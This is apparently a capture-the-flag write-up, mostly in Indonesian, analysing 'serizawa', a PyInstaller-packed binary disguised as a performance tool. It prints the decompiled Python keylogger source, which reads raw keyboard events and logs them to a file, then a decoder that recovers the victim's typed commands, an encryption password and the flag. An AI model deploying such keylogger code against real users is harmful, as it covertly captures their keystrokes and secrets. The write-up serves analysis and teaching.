Writeup Aria
C2C QualificationForensics

Tattletale

1771228100663

description

Author: aseng

Apparently I have just suspected that this serizawa binary is a malware .. I was just so convinced that a friend of mine who was super inactive suddenly goes online today and tell me that this binary will help me to boost my Linux performance.

Now that I realized something's wrong.

Note: This is a reverse engineering and forensic combined theme challenge. Don't worry, the malware is not destructive, not like the other challenge. Once you realized what does the malware do, you'll know how the other 2 files are correlated. Enjoy warming up with this easy one!

Attachments

unzip tattletale_tattletale-dist.zip
# Archive:  tattletale_tattletale-dist.zip
#   inflating: dist.zip

unzip dist.zip
# Archive:  dist.zip
#    creating: dist/
#   inflating: dist/cron.aseng
#   inflating: dist/serizawa
#  extracting: dist/whatisthis.enc

cd dist

Overview

Ringkasan singkat

  • Tattletale adalah challenge hybrid reverse‑engineering + forensik: serizawa adalah PyInstaller‑packed Python keylogger yang merekam event keyboard (raw /dev/input/event0) ke cron.aseng. Dengan mengekstrak dan mendekode log input kita dapat memulihkan perintah korban, menemukan password enkripsi, mendekripsi artefak whatisthis.enc, dan akhirnya mengambil flag. ✅

Alur teknis singkat

  • Ekstraksi: gunakan pyinstxtractor untuk membuka bundle PyInstaller dan decompile serizawa.pyc.
  • Analisis: serizawa membaca struktur struct 'QQHHi' dari /dev/input/event0 → menulis ke cron.aseng (keylogger).
  • Rekonstruksi: parse cron.aseng (keycode → karakter) untuk memulihkan input, termasuk password enkripsi.
  • Dekripsi & recover: openssl untuk AES‑CBC decrypt whatisthis.enc, lalu konversi hasil od → file asli → flag.

Langkah Penyelesaian

1. Identifikasi file

kita coba identifikasi file yang ada di dalam folder dist untuk mengetahui jenis file apa saja yang kita hadapi.

ls
# cron.aseng  serizawa  whatisthis.enc

file *
# cron.aseng:     data
# serizawa:       ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f5e4eb9bd95f0a14f41d1ef1a6f8ee703c85a059, stripped
# whatisthis.enc: openssl enc'd data with salted password

xxd whatisthis.enc | head
# 00000000: 5361 6c74 6564 5f5f 586d 675a 2fbd 5e98  Salted__XmgZ/.^.
# 00000010: 9c61 3af4 be16 802f eacb 13b7 8922 77d1  .a:..../....."w.
# 00000020: 8c41 87bf fa15 32f3 2944 20fc a3e7 97f2  .A....2.)D .....
# 00000030: 8a93 cdb0 0a78 2bf3 8372 77e0 513b a492  .....x+..rw.Q;..
# 00000040: 5f6d d78e b7a8 c5be 51d2 033a 3fed f9a4  _m......Q..:?...
# 00000050: 3207 c3ae 950f 3aab 9799 f69d ee89 c73f  2.....:........?
# 00000060: 71fc 1ca5 50d7 c075 b9ea 6042 60ed 9548  q...P..u..`B`..H
# 00000070: 242e f688 9a44 a195 c8b0 9cae 309d dc9a  $....D......0...
# 00000080: a6f0 7fc4 a07d 0f7a 9d64 11a6 d8b7 cbaf  .....}.z.d......
# 00000090: de0e dcb1 1d8f ac5c 3d6c 145e 0b07 f228  .......\=l.^...(

2. Analisis serizawa

kita coba analisis file serizawa untuk mengetahui fungsinya. Kita bisa menggunakan strings untuk melihat string‑string yang ada di dalam binary, atau menggunakan decompiler seperti Ghidra untuk melihat kode sumbernya secara lebih jelas.

strings serizawa
strings serizawa | head -n 50
strings serizawa | tail -n 50

1771228635266

dari sini kita mengetahui bahwa serizawa dibuat menggunakan python dan dikompilasi menggunakan pyinstaller.

3. Mengekstrak source code dari serizawa

Karena serizawa adalah binary yang dikompilasi menggunakan pyinstaller, kita bisa menggunakan tools seperti pyinstxtractor untuk mengekstrak source code-nya.

lakukan installasi pyinstxtractor terlebih dahulu dengan perintah berikut:

wget https://raw.githubusercontent.com/extremecoders-re/pyinstxtractor/master/pyinstxtractor.py

setelah itu kita bisa mengekstrak serizawa dengan perintah berikut:

python3 pyinstxtractor.py serizawa

1771228788906

Setelah ekstraksi selesai, kita akan mendapatkan folder serizawa_extracted yang berisi file-file hasil ekstraksi.

4. Menganalisis file yang diekstrak

Dalam folder hasil ekstraksi, kita akan menemukan file main.py atau file lainnya yang merupakan source code asli dari aplikasi.

ls serizawa_extracted/
# base_library.zip  libcrypto.so.3  libpython3.11.so.1.0  libzstd.so.1             pyimod01_archive.pyc    pyimod03_ctypes.pyc  python3.11  PYZ.pyz_extracted  struct.pyc
# libbz2.so.1.0     liblzma.so.5    libz.so.1             pyiboot01_bootstrap.pyc  pyimod02_importers.pyc  pyi_rth_inspect.pyc  PYZ.pyz     serizawa.pyc

5. melakukan decompile file .pyc ke file .py

disini saya mencoba menggunakan uncompyle6 untuk melakukan decompile file serizawa.pyc ke file serizawa.py agar lebih mudah dibaca dan dianalisis.

pip install uncompyle6
uncompyle6 serizawa_extracted/serizawa.pyc

namun ketika saya coba saya malah erorr terkait version.

jadi alternatif kita gunakan tool yanng ada di website pylingual

1771228996035

hasil decompile dari serizawa.pyc adalah sebagai berikut:

# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: 'serizawa.py'
# Bytecode version: 3.11a7e (3495)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

import struct
import sys
import os
streya = '/dev/input/event0'
pvut = '/opt/cron.aseng'
strc = 'QQHHi'
evo = struct.calcsize(strc)
def prm():
    if os.geteuid()!= 0:
        sys.exit(1)
    if not os.path.exists(streya):
        sys.exit(1)
def kst():
    # irreducible cflow, using cdg fallback
    # ***<module>.kst: Failure: Compilation Error
    ec = 0
    with open(streya, 'rb') as diva:
        with open(pvut, 'ab') as of:
            while True:
                evd = diva.read(evo)
                if len(evd) < evo:
                    continue
                else:
                    of.write(evd)
                    of.flush()
                    ec += 1
        except KeyboardInterrupt:
            sys.exit(1)
            except PermissionError:
                print('Can\'t run.')
                sys.exit(1)
                except Exception as e:
                        print('Much err.')
                        sys.exit(1)
def main():
    prm()
    kst()
if __name__ == '__main__':
    main()

dari hasil decompile kita bisa melihat bahwa serizawa adalah sebuah keylogger yang akan merekam input dari keyboard dan menyimpannya ke dalam file cron.aseng.

jadi disini saya meminta AI untuk membantu saya untuk membuat script python yang bisa membaca file cron.aseng dan menampilkan input yang sudah direkam oleh serizawa.

read_keylog.py

import struct

fmt = 'QQHHi'
size = struct.calcsize(fmt)

keymap = {
    2:'1',3:'2',4:'3',5:'4',6:'5',7:'6',8:'7',9:'8',10:'9',11:'0',
    12:'-',13:'=',

    16:'q',17:'w',18:'e',19:'r',20:'t',21:'y',22:'u',23:'i',24:'o',25:'p',
    30:'a',31:'s',32:'d',33:'f',34:'g',35:'h',36:'j',37:'k',38:'l',
    44:'z',45:'x',46:'c',47:'v',48:'b',49:'n',50:'m',

    26:'[',27:']',
    39:';',
    40:"'",
    41:'`',
    43:'\\',
    51:',',
    52:'.',
    53:'/',

    57:' '
}

shift_map = {
    '1':'!','2':'@','3':'#','4':'$','5':'%','6':'^','7':'&','8':'*','9':'(','0':')',
    '-':'_','=':'+',
    '[':'{',']':'}',
    ';':':',"'":'"',
    '`':'~','\\':'|',
    ',':'<','.':'>','/':'?'
}

shift_pressed = False
capslock_on = False
result = ""

with open('cron.aseng', 'rb') as f:
    while True:
        data = f.read(size)
        if len(data) < size:
            break

        sec, usec, type_, code, value = struct.unpack(fmt, data)

        if type_ != 1:
            continue

        # SHIFT
        if code in (42, 54):
            if value == 1:
                shift_pressed = True
            elif value == 0:
                shift_pressed = False
            continue

        # CAPSLOCK
        if code == 58 and value == 1:
            capslock_on = not capslock_on
            continue

        # BACKSPACE
        if code == 14 and value == 1:
            result = result[:-1]
            continue

        # ENTER
        if code == 28 and value == 1:
            result += "\n"
            continue

        if value in (1, 2) and code in keymap:
            char = keymap[code]
            if shift_pressed:
                if char in shift_map:
                    char = shift_map[char]
                else:
                    char = char.upper()
            else:
                if capslock_on and char.isalpha():
                    char = char.upper()
            result += char

print(result)

python3 read_keylog.py

output:

ls
whoami
echo "Yey you finally decrypt me :)"
echo "Just a little more steps ok?"
env > whatisthis
od whatisthis > whatisthis.baboi
openssl enc -aes-256-cbc -salt -pass pass:4_g00d_fr13nD_in_n33D -in whatisthis.baboi -out whatisthis.enc
echo "Ok go for it! The flag is in env btw"
c

1771229226938

6. Decrypt file whatisthis.enc

karena kita sudah mendapatkan password yang digunakan untuk mengenkripsi file whatisthis.enc, kita bisa mencoba untuk mendekripsi file tersebut menggunakan openssl dengan perintah berikut:

openssl enc -aes-256-cbc -d -salt -pass pass:4_g00d_fr13nD_in_n33D -in whatisthis.enc -out whatisthis.baboi

1771229292276

cat whatisthis.baboi
# 0000000 047503 047514 052122 051105 036515 071164 062565 067543
# 0000020 067554 005162 044504 050123 040514 036531 030072 030056
# 0000040 046012 047101 036507 067145 052537 027123 052125 026506
# 0000060 005070 040514 043516 040525 042507 005075 040520 044124
# 0000100 027475 067562 072157 027057 060543 063562 027557 064542
# 0000120 035156 072457 071163 066057 061557 066141 071457 064542
# 0000140 035156 072457 071163 066057 061557 066141 061057 067151
# 0000160 027472 071565 027562 061163 067151 027472 071565 027562

dan dari output file whatisthis.baboi kita bisa melihat bahwa isinya berisi angka-angka yang merupakan hasil dari perintah od yang dijalankan pada file whatisthis.

kita coba gunakan perintah xxd untuk mengkonversi file whatisthis.baboi yang berisi angka-angka tersebut menjadi file teks biasa.

xxd -r whatisthis.baboi > whatisthis
cat whatisthis

1771229856951

namun ketika dicoba hasilnya masih berantakan

uu!"euTQbE#`qeqE%7Pp5%%tuub!WpWCQV$Wc`WWQV$Wc`WWtreubcqQEBQVWEBQVeubuTCuT$Wc4WeAE!pEeU$bf%A$!e1SETpW0!e@57%%"!@uQe#bu rPdqTuTa0creQdsPc$c reW`sT`csPa!CsPaW uT`EUuP`%cueGc sPcCuT`dtreg!cuTg d$rPbpRdeb`5der`sPa`sPapRAPapRder`ATeA`sPa`sPapRQTPapRQTUu VQTuTacuTacPr VcPr VPguPVQuTacTacPr VerpRQGuTacuTacPr`VPapRQTeW`QpuTacPrTacPr VrPapRQBdb`QBuTacPrTacPr VQBPapRQduTaEuTacPrTacPrPVAPr4VAuTaAuTacPrTacPrVAPrVQTuTa%CuTacPrTacPrVE`PapRPguTaer`sPapRsPapREgeUpR5ceU`seU`sPapRsPapR1A1QPrPV5`uTa%`eG`sPeuTa$cPrdVTa$cPr4V1QPrVUuTaeBuTa$cPrTa$cPrVe`Pr VGuTaeBuTa$cPrTa$cPr V1QPr V1QeF`q`eG`sPe`sPepR1c$cPrdV5VuVACuTa$cuTa$cPrdV$cPrdV%`eGpRUef`sef`sPepRTa$cPr4VEPepR5WeU`Udd`sPe`sPepRU$cPr0VWuVed`sPe`sPepRegPepRAeF`ebuTa$cPr`sPepRaFPepR1AeQ`aFeQ`sPe`sPepRaGPr VeT`seF`sPepRsPepR%qefpR5CeU`seF`sPepRsPepR5WeppRAeC`suT`0cPr0VsPfpR!UeApREUeD`sEDuT`0cPrT`0cPrdV`PrdV`uT`5GuT`0cPrsPfpRgefpR5WeA`seuT`0cPrT`0cPr@VcPfpRuT`qDsP`pRBeSpRaWeD`Ds5QuT`qPr`DsP`pR%bP`pR5ce``ede``DsP` UQed`Ds5StU!TuT`1C UQed`eeF%Veg`eeFaWeD`bqU5EuT`e`W5QuT`e`c%fuT`uT` dPrubUaQWuWeeub!W$!W@eeWae$WcW!%uuecWqQWQe%#e"SETea`!%a`e17%!E7u"e$Pau a%7! !1F5A#%%$u1 !%u$a%$u1u$aa&u!'a!'tuW!7e7cQU%#!7e7eDT3Ta0c!7e7`u#%$e"Tu3TacQU7eEu#%$e"3sdb`u %eTu3ubEsudQtd%fEb7da%Vu0Saq5WEpEpA7EAqerttueubQf

kita coba minta AI untuk membantu kita decode file whatisthis.baboi yang berisi angka-angka tersebut menjadi file teks biasa dengan menggunakan script python berikut:

recovery.py

import re
import struct

with open("whatisthis.baboi") as f:
    text = f.read()

nums = re.findall(r'\b[0-7]{6}\b', text)

data = bytearray()

for n in nums:
    value = int(n, 8)
    data.extend(struct.pack("<H", value))  # 16-bit little endian

with open("whatisthis", "wb") as f:
    f.write(data)

script di atas akan mencari semua angka yang terdiri dari 6 digit oktal dalam file whatisthis.baboi, kemudian mengkonversi setiap angka tersebut menjadi nilai 16-bit little endian dan menyimpannya ke dalam file whatisthis.

python3 recovery.py

1771229806396

flag

C2C{it_is_just_4_very_s1mpl3_l1nuX_k3ylogger_xixixi_haiyaaaaa_ez}

On this page